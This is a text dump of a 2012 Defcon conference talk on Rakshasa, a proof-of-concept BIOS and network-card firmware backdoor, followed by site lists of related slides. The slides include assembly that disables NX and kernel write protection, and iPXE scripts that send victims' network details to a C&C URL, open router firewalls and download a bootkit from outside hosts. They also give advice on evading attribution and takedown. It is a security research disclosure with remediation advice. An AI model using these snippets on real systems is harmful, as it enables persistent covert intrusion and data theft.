SlideShare a Scribd company logo
1 of 70
Hardware Backdooring is practical


    Jonathan Brossard (Toucan System)




 Defcon 20 // 28/07/2012
DISCLAIMER

    We are not « terrorists ». We won't release our PoC
    backdoor.

    The x86 architecture is plagued by legacy.
    Governments know. The rest of the industry : not so
    much.

    There is a need to discuss the problems in
    order to find solutions...

    This is belived to be order of
    magnitudes better over existing
    backdoors/malware
Agenda


    Motivation : state level backdooring ?

    Coreboot & x86 architecture

    State of the art in rootkitting, romkitting

    Introducing Rakshasa

    Rakshasa design

    Why cryptography (Truecrypt/Bitlocker/TPM)
    won't save us...

    Backdooring like a nation state
Who am I ?

- Security researcher, pentester
- First learned asm (~15 years ago)
- Presented at Blackhat/Defcon/CCC/HITB...
- Master in Engineering, master in Computer Sciences
- Co organiser of the Hackito Ergo Sum conference (Paris)

 Likes : Unix, network, architecture, low level, finding 0days (mem
 corruptions).
 Dislikes : web apps, canned exploits.


- Super pure English accent (French, learned English in India, lives in
  Australia... ;))
FUD 101
Could a state (eg : China) backdoor
  all new computers on earth ?
More introductory material
Enough FUD...
A bit of x86 architecture
State of the art, previous work
Previous work

    Early 80s : Brain virus, targets the MBR

    80s, 90s : thousands of such viruses

    2007, John Heasman (NGS Software) Blackhat US:
    backdoor EFI bootloader

    2009, Anibal Saco and Alfredo Ortega (Core security),
    CanSecWest : patch/flash a Pheonix-Award Bios

    2009, Kleissner, Blackhat US : Stoned bootkit. Bootkit
    Windows, Truecrypt. Load arbitrary unsigned kernel
    module.

    2010, Kumar and Kumar (HITB Malaysia) : vbootkit
    bootkitting of Windows 7.

    Piotr Bania, Konboot : bootkit any Windows (32/64b)

    2012 : Snare (Blackhat 2012) : UEFI rootkitting
Introducing Rakshasa
Goals : create the perfect backdoor

    Persistant

    Stealth (0 hostile code on the machine)

    Portable (OS independant)

    Remote access, remote updates

    State level quality : plausible deniability, non
    attribution

    Cross network perimeters (firewalls, auth proxy)

    Redundancy

    Non detectable by AV (goes without saying...)
Main idea (1/3)




Typical Corporate
     Network
Main idea (2/3)




How things are
supposed to work
Main idea (3/3)

   What is really going to happen
Rakshasa : Design (1/2)

    Core components :
          - Coreboot
          - SeaBios
          - iPXE
          - payloads

    Built on top of free software : portability, non
    attribution, cheap dev (~4 weeks of work), really really
    really hard to detect as malicious.


    Supports 230 motherboards.
Rakshasa : Design (2/2)



    Flash the BIOS (Coreboot + PCI roms such as iPXE)

    Flash the network card or any other PCI device
    (redundancy)

    Boot a payload over the network (bootkit over https)
    → Boot a payload over wifi/wimax (breach the network
    perimeter, bypasses network detection, I(P|D)S )
    → Remotely reflash the BIOS/network card if
    necessary
Rakshasa architecture (1/2)
Rakshasa architecture (2/2)
Rakshasa : embedded features


    Remove NX bit → executable heap/stack.

    Make every mapping +W in ring0

    Remove CPU updates (microcodes)

    Remove anti-SMM protections → generic local root exploit

    Disable ASLR

    Bootkitting (modified Kon-boot payload*)


    * Thanks to Piotr Bania for his contribution to
           Rakshasa :)
Rakshasa : removing the NX bit (1/2)
             MSR !!! Model Specific Register


AMD64 Architecture Programmer's manual (volume 2,
 Section 3.1.7 : Extended Feature Enable Register) :


No-Execute Enable (NXE) Bit. Bit 11, read/write. Setting
       this bit to 1 enables the no-execute page-
protection feature. The feature is disabled when this bit is
                       cleared to 0.
Rakshasa : removing the NX bit (2/2)
; Disable NX bit (if supported)


     mov      eax,0x80000000      ; get higher function supported by eax
     cpuid                        ; need amd K6 or better (anything >= 1997... should be ok)


     cmp      eax,0x80000001
     jb    not_supported          ; need at least function 0x80000001


     mov      eax,0x80000001      ; get Processor Info and Feature Bits
     cpuid


     bt      edx,20               ; NX bit is supported ?
     jnc     not_supported


     mov     ecx, 0xc0000080      ; extended feature register (EFER)
     rdmsr                        ; read MSR
     btr     eax, 11              ; disable NX (EFER_NX) // btr = bit test and reset
     wrmsr                        ; write MSR


not_supported:
Make every mapping +W in ring0

    Intel Manuals (Volume 3A, Section 2.5):


    Write Protect (bit 16 of CR0) - When set, inhibits supervisor-
level procedures from writing into read-only pages; when clear,
allows supervisor-level procedures to write into read-only pages
(regardless of the U/S bit setting; see Section 4.1.3 and Section
4.6). This flag facilitates implementation of the copy-on-write
method of creating a new process (forking) used by operating
systems such as UNIX.
Make every mapping +W in ring0
            (32b/64b)

 ; 32b version :
     mov eax,cr0
     and eax,0xfffeffff
     mov cr0,eax


; 64b version :
     mov rax,cr0
     and rax,0xfffeffff
     mov cr0,rax
Remove CPU updates (microcodes)




      rm -rf ./coreboot/microcodes/
Remove anti-SMM protections (1/2)

Intel® 82845G/82845GL/82845GV Graphics and Memory Controller datasheets, Section 3.5.1.22: SMRAM—System
                           Management RAM Control Register (Device 0), bit 4 :




         SMM Space Locked (D_LCK)—R/W, L. When D_LCK is set to 1, D_OPEN is reset to 0; D_LCK,
         D_OPEN, C_BASE_SEG, H_SMRAM_EN, TSEG_SZ and TSEG_EN become read only. D_LCK
        can be set to 1 via a normal configuration space write but can only be cleared by a Full Reset. The
         combination of D_LCK and D_OPEN provide convenience with security. The BIOS can use the
        D_OPEN function to initialize SMM space and then use D_LCK to “lock down” SMM space in the
        future so that no application software (or BIOS itself) can violate the integrity of SMM space, even if
                               the program has knowledge of the D_OPEN function.
Remove anti-SMM protections (2/2)

D_LCK is not supported by CoreBoot currently anyway...


  ; disable D_LCK shellcode for Coreboot...
        nop
Disable ASLR
- OS dependant.
- Seed for full ASLR has to be in kernel land
  (equivalent of execve()).
→ patch the seed with a known value
- Seed location for Windows 7 identified by Kumar
  & Kumar (HITB KL 2010).


→ Mapping is 100% repeatable :)
Rakshasa : embedded features :
              conclusion


→ Permantent lowering of the security level on any OS.


→ Welcome back to the security level of 1997.

→ Persistant, even if HD or OS is remove/restored.
Rakshasa : remote payload



    Currently capable of Bootkitting any version of
    Windows (32b/64b) thanks to special version of
    Kon-boot

    Bootkit future Oses ? → Update/remove/reflash
    firmwares (PCI, BIOS)
Rakshasa : stealthness

    We don't touch the disk. 0 evidence on the filesystem.

    The code flashed to motherboard is not hostile per si
    (there is one text file with urls in it.. that's it).

    We can remotely boot from an alternate payload or
    even OS : fake Truecrypt/Bitlocker prompt !

    Optionally boot from a WIFI/WMAX stack : 0 network
    evidence on the LAN.

    Fake BIOS menus if necessary. We use an embedded
    CMOS image. We can use the real CMOS nvram to
    store encryption keys/backdoor states between
    reboots.
Rakshasa : why using Coreboot/SeaBios/iPXE is
                 the good approach



    Portability : benefit from all the gory reverse
    engineering work already done !

    Awesome modularity : embbed existing payloads (as
    floppy or cdrom images) and PCI roms directly in the
    main Coreboot rom !
    Eg : bruteforce bootloaders (Brossard, H2HC 2010),
    bootkits without modification.

    Network stacks : ip/udp/tcp, dns, http(s), tftp, ftp...
    make your own (tcp over dns? Over ntp ?)

    Code is legit : can't be flagged as malware !
Exemple iPXE configuration files :
             get an IP
#!ipxe


# try dhcp first, else use static IP
dhcp || ( set net0/ip 192.168.0.3 && set
  net0/netmask 255.255.255.0 && set
  net0/gateway 192.168.0.1)
Exemple iPXE configuration files :
         fun with webapps...
# evil pingback to C & C internet blog with HTTP auth...
kernel http://admin:p4ssw0rd@2012.hackitoergosum.org/xmlrpc.php?ip=$
  {net0/ip}&mac=${net0/mac}&netmask=${net0/netmask}&gateway=$
  {net0/gateway}&dns=${net0/dns}&domain=${net0/domain} ||
# Send an email using open relay web application
kernel http://vulnerablehost.com/vulnservice.asp?mail-from=Rakshasa&mail-
  toaddress=endrazine%40gmail.com&mail-subject=BIOS%20Owned ||
# Rooter pharming : modify firewall settings
kernel http://admin:password@2012.hackitoergosum.org/cgi-bin/firewall?
  action=enable&port=all ||
kernel http://root:root@2012.hackitoergosum.org/cgi-bin/firewall?enableport=all ||
Exemple iPXE configuration files :
 chain configuration loader from the
                web
#chain loader over https
chain https://www.pmcma.org/ads/love.jpg?ip=$
  {net0/ip}&mac=${net0/mac} ||
Exemple iPXE configuration files :
    boot an alternate OS/bootkit
# discard everything done so far
imgfree


# fetch memdisk kernel over the internet via ftp
kernel ftp://ftp.pmcma.org/pwnage/memdisk.pdf ||


# fetch bootkit payload over the internet via http
initrd http://www.pmcma.org/wp-content/uploads/2012/07/bootkit.pdf ||


# boot
boot
DEMO : Evil remote carnal pwnage
            (of death)



    I can write blogs too... Muhahahaha...
Apache logs
BIOS email pingback
How to properly build a botnet ?

    HTTPS + assymetric cryptography (client side certificates,
    signed updates)

    If Microsoft can do secure remote updates, so can a
    malware !

    Avoid DNS take overs by law enforcement agencies by
    directing the C&C rotatively on innocent web sites (are you
    gonna shut down Google.com?), use assymetric crypto to
    push updates.


    So you own my C&C for 1hour ? You can't do anything
    with it !!

    → C&C CAN'T BE SHUT DOWN OR TAKEN OVER.
Why crypto won't save you...
Why crypto won't save you (1/2)

    We can fake the bootking/password prompt by
    booting a remote OS (Truecrypt/Bitlocker)

    Once we know the password, the BIOS
    backdoor can emulate keyboard typing in 16b
    real mode by programming the
    keyboard/motherboard PIC microcontrolers
    (Brossard, Defcon 2008)

    If necessary, patch back original
    BIOS/firmwares remotely.
Why crypto won't save you (2/2)
TPM + full disk encryption won't save you either :
  1) It's a passive chip : if the backdoor doesn't
 want explicit access to data on the HD, it can
 simply ignore TPM.

  2) Your HD is never encrypted when delivered
 to you. You seal the TPM when you encrypt
 your HD only. So TPM doesn't prevent
 backdooring from anyone in the supply chain.
How about Avs ??

    Putting an AV on a server to protect against
    unknown threats is purely cosmetic.

    You may as well put lipstick on your servers...
Example : 3 years old bootkit
Example : 3 years old bootkit (+
       simple packer)
Realistic attack scenarii
Realistic attack scenarii

    Physical access :
Anybody in the supply chain can backdoor your
 hardware. Period.
 Flash from a bootable USB stick (< 3mins).

    Remote root compromise :
    If (OS == Linux) {
          flash_bios;
    } else {
          Pivot_over_the_MBR ;
    }
Realistic attack scenarii

    Purchase pre-backdoored hardware
BONUS : Backdooring the
     datacenter
Remediation
Remediation (leads)

    Flash any firmware uppon reception of new hardware with
    open source software you can verify.

    Perform checksums of all firmwares by physically
    extracting them (FPGA..) : costly !

    Verify the integrity of all firmwares from time to time

    Update forensics best practices :
    1) Include firmwares in SoW
    2) Throw away your computer in case of intrusion

    Even then... not entirely satisfying : the backdoor can flash
    the original firmwares back remotely.
Post intrusion recovery
- You can't trust your BIOS
→ you can't flash from the OS or even
 floppy/cdrom.
→ need physical flasher.
- Rakshasa can reinfect itself from any PCI
  expension ROM.
→ you need to flash all the firmwares of the
 motherboards at the same time.
Exemple of flasher : BIOS Savior
Flashing BIOS/PCI firmwares
          remotely
Side note on remote flashing


    BIOS flashing isn't a problem : the flasher
    (Linux based) is universal.

    PCI roms flashing is more of a problem : flasher
    is vendor dependant.


    How to solve this issue... ?
Detecting network card
manufacturer from the remote C&C

    IPXE allows scripting. Eg : sending the MAC
    address as an URL parameter.

    From the MAC, get the OUI number serverside.

    From the OUI number, deduce manufacturer

    Send the proper flashing tool as an embedded
    OS to the backdoor...
Backdooring like NSA China
Backdooring like a nation state
Rule #1 : non attribution
- you didn't write the free software in first place.
- add a few misleading strings, eg : in mandarin ;)

Rule #2 : plausible deniability
- use a bootstrap known remote vulnerability in a
   network card firmware
   (eg : Duflot's CVE-2010-0104)
    → « honest mistake » if discovered.
- remotely flash the BIOS.
- do your evil thing.
- restore the BIOS remotely.
More DEMOS
Booting an alternate OS from a
   Storage Area Network (SAN)




This is possible over a fast enough link (gigabit
              ethernet for instance)
Booting an alternate OS from a
    Storage Area Network (SAN)



#!ipxe

# fecth iso from SAN and boot
 sanboot http://boot.ipxe.org/freedos/fdfullcd.iso
The fake problem of BIOS Graphics


- CoreBoot supports adding a bootsplash if you
  know in advance what BIOS is targetted.

- SeaBIOS has a very minimal menu (wiped out in
  Rakshasa). Other payloads can have better
  menus.

Actually...
Exemple GUI payload : invaders
(http://www.erikyyy.de/invaders/)
UEFI extention
Use TianoCore payload instead of SeaBIOS
Outro
Outro


This is not a vulnerability :

- it is sheer bad design due to legacy.
- don't expect a patch.
- fixing those issues will probably require breaking
   backward compatibility with most standards
   (PCI, PCIe, TPM).
Questions ?

More Related Content

What's hot

本気で使うStack storm
本気で使うStack storm本気で使うStack storm
本気で使うStack stormtyamane
 
Introduction of OpenStack cascading solution
Introduction of OpenStack cascading solutionIntroduction of OpenStack cascading solution
Introduction of OpenStack cascading solutionJoe Huang
 
Ceph Performance and Sizing Guide
Ceph Performance and Sizing GuideCeph Performance and Sizing Guide
Ceph Performance and Sizing GuideJose De La Rosa
 
debugging openstack neutron /w openvswitch
debugging openstack neutron /w openvswitchdebugging openstack neutron /w openvswitch
debugging openstack neutron /w openvswitch어형 이
 
Cobbler - Fast and reliable multi-OS provisioning
Cobbler - Fast and reliable multi-OS provisioningCobbler - Fast and reliable multi-OS provisioning
Cobbler - Fast and reliable multi-OS provisioningRUDDER
 
Galera explained 3
Galera explained 3Galera explained 3
Galera explained 3Marco Tusa
 
Ceph アーキテクチャ概説
Ceph アーキテクチャ概説Ceph アーキテクチャ概説
Ceph アーキテクチャ概説Emma Haruka Iwao
 
Understanding oracle rac internals part 1 - slides
Understanding oracle rac internals   part 1 - slidesUnderstanding oracle rac internals   part 1 - slides
Understanding oracle rac internals part 1 - slidesMohamed Farouk
 
Boosting I/O Performance with KVM io_uring
Boosting I/O Performance with KVM io_uringBoosting I/O Performance with KVM io_uring
Boosting I/O Performance with KVM io_uringShapeBlue
 
Release and patching strategy
Release and patching strategyRelease and patching strategy
Release and patching strategyJitendra Singh
 
Tutorial ceph-2
Tutorial ceph-2Tutorial ceph-2
Tutorial ceph-2Tommy Lee
 
PacemakerのMaster/Slave構成の基本と事例紹介(DRBD、PostgreSQLレプリケーション) @Open Source Confer...
PacemakerのMaster/Slave構成の基本と事例紹介(DRBD、PostgreSQLレプリケーション) @Open Source Confer...PacemakerのMaster/Slave構成の基本と事例紹介(DRBD、PostgreSQLレプリケーション) @Open Source Confer...
PacemakerのMaster/Slave構成の基本と事例紹介(DRBD、PostgreSQLレプリケーション) @Open Source Confer...Tatsuya Watanabe
 
10GbE時代のネットワークI/O高速化
10GbE時代のネットワークI/O高速化10GbE時代のネットワークI/O高速化
10GbE時代のネットワークI/O高速化Takuya ASADA
 
DevConf 2014 Kernel Networking Walkthrough
DevConf 2014   Kernel Networking WalkthroughDevConf 2014   Kernel Networking Walkthrough
DevConf 2014 Kernel Networking WalkthroughThomas Graf
 
Red Hat Enterprise Linux OpenStack Platform 7 - VM Instance HA Architecture
Red Hat Enterprise Linux OpenStack Platform 7 - VM Instance HA ArchitectureRed Hat Enterprise Linux OpenStack Platform 7 - VM Instance HA Architecture
Red Hat Enterprise Linux OpenStack Platform 7 - VM Instance HA ArchitectureEtsuji Nakai
 
[DockerCon 2019] Hardening Docker daemon with Rootless mode
[DockerCon 2019] Hardening Docker daemon with Rootless mode[DockerCon 2019] Hardening Docker daemon with Rootless mode
[DockerCon 2019] Hardening Docker daemon with Rootless modeAkihiro Suda
 
Docker Compose入門~今日から始めるComposeの初歩からswarm mode対応まで
Docker Compose入門~今日から始めるComposeの初歩からswarm mode対応までDocker Compose入門~今日から始めるComposeの初歩からswarm mode対応まで
Docker Compose入門~今日から始めるComposeの初歩からswarm mode対応までMasahito Zembutsu
 
OpenStack勉強会
OpenStack勉強会OpenStack勉強会
OpenStack勉強会Yuki Obara
 
Non blocking io with netty
Non blocking io with nettyNon blocking io with netty
Non blocking io with nettyZauber
 
OpenStackクラウド基盤構築ハンズオンセミナー 第2日:講義No2
OpenStackクラウド基盤構築ハンズオンセミナー 第2日:講義No2OpenStackクラウド基盤構築ハンズオンセミナー 第2日:講義No2
OpenStackクラウド基盤構築ハンズオンセミナー 第2日:講義No2Etsuji Nakai
 

What's hot (20)

本気で使うStack storm
本気で使うStack storm本気で使うStack storm
本気で使うStack storm
 
Introduction of OpenStack cascading solution
Introduction of OpenStack cascading solutionIntroduction of OpenStack cascading solution
Introduction of OpenStack cascading solution
 
Ceph Performance and Sizing Guide
Ceph Performance and Sizing GuideCeph Performance and Sizing Guide
Ceph Performance and Sizing Guide
 
debugging openstack neutron /w openvswitch
debugging openstack neutron /w openvswitchdebugging openstack neutron /w openvswitch
debugging openstack neutron /w openvswitch
 
Cobbler - Fast and reliable multi-OS provisioning
Cobbler - Fast and reliable multi-OS provisioningCobbler - Fast and reliable multi-OS provisioning
Cobbler - Fast and reliable multi-OS provisioning
 
Galera explained 3
Galera explained 3Galera explained 3
Galera explained 3
 
Ceph アーキテクチャ概説
Ceph アーキテクチャ概説Ceph アーキテクチャ概説
Ceph アーキテクチャ概説
 
Understanding oracle rac internals part 1 - slides
Understanding oracle rac internals   part 1 - slidesUnderstanding oracle rac internals   part 1 - slides
Understanding oracle rac internals part 1 - slides
 
Boosting I/O Performance with KVM io_uring
Boosting I/O Performance with KVM io_uringBoosting I/O Performance with KVM io_uring
Boosting I/O Performance with KVM io_uring
 
Release and patching strategy
Release and patching strategyRelease and patching strategy
Release and patching strategy
 
Tutorial ceph-2
Tutorial ceph-2Tutorial ceph-2
Tutorial ceph-2
 
PacemakerのMaster/Slave構成の基本と事例紹介(DRBD、PostgreSQLレプリケーション) @Open Source Confer...
PacemakerのMaster/Slave構成の基本と事例紹介(DRBD、PostgreSQLレプリケーション) @Open Source Confer...PacemakerのMaster/Slave構成の基本と事例紹介(DRBD、PostgreSQLレプリケーション) @Open Source Confer...
PacemakerのMaster/Slave構成の基本と事例紹介(DRBD、PostgreSQLレプリケーション) @Open Source Confer...
 
10GbE時代のネットワークI/O高速化
10GbE時代のネットワークI/O高速化10GbE時代のネットワークI/O高速化
10GbE時代のネットワークI/O高速化
 
DevConf 2014 Kernel Networking Walkthrough
DevConf 2014   Kernel Networking WalkthroughDevConf 2014   Kernel Networking Walkthrough
DevConf 2014 Kernel Networking Walkthrough
 
Red Hat Enterprise Linux OpenStack Platform 7 - VM Instance HA Architecture
Red Hat Enterprise Linux OpenStack Platform 7 - VM Instance HA ArchitectureRed Hat Enterprise Linux OpenStack Platform 7 - VM Instance HA Architecture
Red Hat Enterprise Linux OpenStack Platform 7 - VM Instance HA Architecture
 
[DockerCon 2019] Hardening Docker daemon with Rootless mode
[DockerCon 2019] Hardening Docker daemon with Rootless mode[DockerCon 2019] Hardening Docker daemon with Rootless mode
[DockerCon 2019] Hardening Docker daemon with Rootless mode
 
Docker Compose入門~今日から始めるComposeの初歩からswarm mode対応まで
Docker Compose入門~今日から始めるComposeの初歩からswarm mode対応までDocker Compose入門~今日から始めるComposeの初歩からswarm mode対応まで
Docker Compose入門~今日から始めるComposeの初歩からswarm mode対応まで
 
OpenStack勉強会
OpenStack勉強会OpenStack勉強会
OpenStack勉強会
 
Non blocking io with netty
Non blocking io with nettyNon blocking io with netty
Non blocking io with netty
 
OpenStackクラウド基盤構築ハンズオンセミナー 第2日:講義No2
OpenStackクラウド基盤構築ハンズオンセミナー 第2日:講義No2OpenStackクラウド基盤構築ハンズオンセミナー 第2日:講義No2
OpenStackクラウド基盤構築ハンズオンセミナー 第2日:講義No2
 

Similar to [Defcon] Hardware backdooring is practical

Hardware backdooring is practical : slides
Hardware backdooring is practical : slidesHardware backdooring is practical : slides
Hardware backdooring is practical : slidesMoabi.com
 
[Hackito2012] Hardware backdooring is practical
[Hackito2012] Hardware backdooring is practical[Hackito2012] Hardware backdooring is practical
[Hackito2012] Hardware backdooring is practicalMoabi.com
 
DefCon 2012 - Hardware Backdooring (Slides)
DefCon 2012 - Hardware Backdooring (Slides)DefCon 2012 - Hardware Backdooring (Slides)
DefCon 2012 - Hardware Backdooring (Slides)Michael Smith
 
Raspberry Pi tutorial
Raspberry Pi tutorialRaspberry Pi tutorial
Raspberry Pi tutorial艾鍗科技
 
[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode
[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode
[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 modeMoabi.com
 
Arm device tree and linux device drivers
Arm device tree and linux device driversArm device tree and linux device drivers
Arm device tree and linux device driversHoucheng Lin
 
Docker Introduction + what is new in 0.9
Docker Introduction + what is new in 0.9 Docker Introduction + what is new in 0.9
Docker Introduction + what is new in 0.9 Jérôme Petazzoni
 
Docker Introduction, and what's new in 0.9 — Docker Palo Alto at RelateIQ
Docker Introduction, and what's new in 0.9 — Docker Palo Alto at RelateIQDocker Introduction, and what's new in 0.9 — Docker Palo Alto at RelateIQ
Docker Introduction, and what's new in 0.9 — Docker Palo Alto at RelateIQJérôme Petazzoni
 
Vortex86 Sx Linux How To
Vortex86 Sx Linux How ToVortex86 Sx Linux How To
Vortex86 Sx Linux How ToRogelio Canedo
 
[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory Analysis[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory AnalysisMoabi.com
 
Intel® RDT Hands-on Lab
Intel® RDT Hands-on LabIntel® RDT Hands-on Lab
Intel® RDT Hands-on LabMichelle Holley
 
Let Me Pick Your Brain - Remote Forensics in Hardened Environments
Let Me Pick Your Brain - Remote Forensics in Hardened EnvironmentsLet Me Pick Your Brain - Remote Forensics in Hardened Environments
Let Me Pick Your Brain - Remote Forensics in Hardened EnvironmentsNicolas Collery
 
D1 t2 jonathan brossard - breaking virtualization by switching to virtual 8...
D1 t2   jonathan brossard - breaking virtualization by switching to virtual 8...D1 t2   jonathan brossard - breaking virtualization by switching to virtual 8...
D1 t2 jonathan brossard - breaking virtualization by switching to virtual 8...kbour23
 
Starting Raspberry Pi
Starting Raspberry PiStarting Raspberry Pi
Starting Raspberry PiLloydMoore
 
“Linux Kernel CPU Hotplug in the Multicore System”
“Linux Kernel CPU Hotplug in the Multicore System”“Linux Kernel CPU Hotplug in the Multicore System”
“Linux Kernel CPU Hotplug in the Multicore System”GlobalLogic Ukraine
 

Similar to [Defcon] Hardware backdooring is practical (20)

Hardware backdooring is practical : slides
Hardware backdooring is practical : slidesHardware backdooring is practical : slides
Hardware backdooring is practical : slides
 
[Hackito2012] Hardware backdooring is practical
[Hackito2012] Hardware backdooring is practical[Hackito2012] Hardware backdooring is practical
[Hackito2012] Hardware backdooring is practical
 
DefCon 2012 - Hardware Backdooring (Slides)
DefCon 2012 - Hardware Backdooring (Slides)DefCon 2012 - Hardware Backdooring (Slides)
DefCon 2012 - Hardware Backdooring (Slides)
 
Raspberry Pi tutorial
Raspberry Pi tutorialRaspberry Pi tutorial
Raspberry Pi tutorial
 
Xen in Linux (aka PVOPS update)
Xen in Linux (aka PVOPS update)Xen in Linux (aka PVOPS update)
Xen in Linux (aka PVOPS update)
 
[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode
[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode
[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode
 
Arm device tree and linux device drivers
Arm device tree and linux device driversArm device tree and linux device drivers
Arm device tree and linux device drivers
 
Docker Introduction + what is new in 0.9
Docker Introduction + what is new in 0.9 Docker Introduction + what is new in 0.9
Docker Introduction + what is new in 0.9
 
Docker Introduction, and what's new in 0.9 — Docker Palo Alto at RelateIQ
Docker Introduction, and what's new in 0.9 — Docker Palo Alto at RelateIQDocker Introduction, and what's new in 0.9 — Docker Palo Alto at RelateIQ
Docker Introduction, and what's new in 0.9 — Docker Palo Alto at RelateIQ
 
Hardware hacking
Hardware hackingHardware hacking
Hardware hacking
 
Vortex86 Sx Linux How To
Vortex86 Sx Linux How ToVortex86 Sx Linux How To
Vortex86 Sx Linux How To
 
[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory Analysis[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory Analysis
 
Intel® RDT Hands-on Lab
Intel® RDT Hands-on LabIntel® RDT Hands-on Lab
Intel® RDT Hands-on Lab
 
Let Me Pick Your Brain - Remote Forensics in Hardened Environments
Let Me Pick Your Brain - Remote Forensics in Hardened EnvironmentsLet Me Pick Your Brain - Remote Forensics in Hardened Environments
Let Me Pick Your Brain - Remote Forensics in Hardened Environments
 
D1 t2 jonathan brossard - breaking virtualization by switching to virtual 8...
D1 t2   jonathan brossard - breaking virtualization by switching to virtual 8...D1 t2   jonathan brossard - breaking virtualization by switching to virtual 8...
D1 t2 jonathan brossard - breaking virtualization by switching to virtual 8...
 
Basic Linux kernel
Basic Linux kernelBasic Linux kernel
Basic Linux kernel
 
Starting Raspberry Pi
Starting Raspberry PiStarting Raspberry Pi
Starting Raspberry Pi
 
“Linux Kernel CPU Hotplug in the Multicore System”
“Linux Kernel CPU Hotplug in the Multicore System”“Linux Kernel CPU Hotplug in the Multicore System”
“Linux Kernel CPU Hotplug in the Multicore System”
 
101 1.1 hardware settings
101 1.1 hardware settings101 1.1 hardware settings
101 1.1 hardware settings
 
Linux Network Stack
Linux Network StackLinux Network Stack
Linux Network Stack
 

More from Moabi.com

[Defcon24] Introduction to the Witchcraft Compiler Collection
[Defcon24] Introduction to the Witchcraft Compiler Collection[Defcon24] Introduction to the Witchcraft Compiler Collection
[Defcon24] Introduction to the Witchcraft Compiler CollectionMoabi.com
 
[Blackhat2015] FileCry attack against Internet Explorer
[Blackhat2015] FileCry attack against Internet Explorer[Blackhat2015] FileCry attack against Internet Explorer
[Blackhat2015] FileCry attack against Internet ExplorerMoabi.com
 
[Blackhat2015] FileCry attack against Java
[Blackhat2015] FileCry attack against Java[Blackhat2015] FileCry attack against Java
[Blackhat2015] FileCry attack against JavaMoabi.com
 
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #WhitepaperMoabi.com
 
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...Moabi.com
 
[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用
[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用
[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用Moabi.com
 
Hardware backdooring is practical
Hardware backdooring is practicalHardware backdooring is practical
Hardware backdooring is practicalMoabi.com
 
[Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Rese...
[Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Rese...[Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Rese...
[Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Rese...Moabi.com
 
[Ruxcon 2011] Post Memory Corruption Memory Analysis
[Ruxcon 2011] Post Memory Corruption Memory Analysis[Ruxcon 2011] Post Memory Corruption Memory Analysis
[Ruxcon 2011] Post Memory Corruption Memory AnalysisMoabi.com
 
[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory Analysis[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory AnalysisMoabi.com
 
[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit Automation[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit AutomationMoabi.com
 
[h2hc] Generic exploitation of invalid memory writes
[h2hc] Generic exploitation of invalid memory writes[h2hc] Generic exploitation of invalid memory writes
[h2hc] Generic exploitation of invalid memory writesMoabi.com
 
[HackInTheBox] Breaking virtualization by any means
[HackInTheBox] Breaking virtualization by any means[HackInTheBox] Breaking virtualization by any means
[HackInTheBox] Breaking virtualization by any meansMoabi.com
 
[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...
[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...
[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...Moabi.com
 
[DEFCON 16] Bypassing pre-boot authentication passwords by instrumenting the...
[DEFCON 16] Bypassing pre-boot authentication passwords  by instrumenting the...[DEFCON 16] Bypassing pre-boot authentication passwords  by instrumenting the...
[DEFCON 16] Bypassing pre-boot authentication passwords by instrumenting the...Moabi.com
 

More from Moabi.com (15)

[Defcon24] Introduction to the Witchcraft Compiler Collection
[Defcon24] Introduction to the Witchcraft Compiler Collection[Defcon24] Introduction to the Witchcraft Compiler Collection
[Defcon24] Introduction to the Witchcraft Compiler Collection
 
[Blackhat2015] FileCry attack against Internet Explorer
[Blackhat2015] FileCry attack against Internet Explorer[Blackhat2015] FileCry attack against Internet Explorer
[Blackhat2015] FileCry attack against Internet Explorer
 
[Blackhat2015] FileCry attack against Java
[Blackhat2015] FileCry attack against Java[Blackhat2015] FileCry attack against Java
[Blackhat2015] FileCry attack against Java
 
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper
 
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...
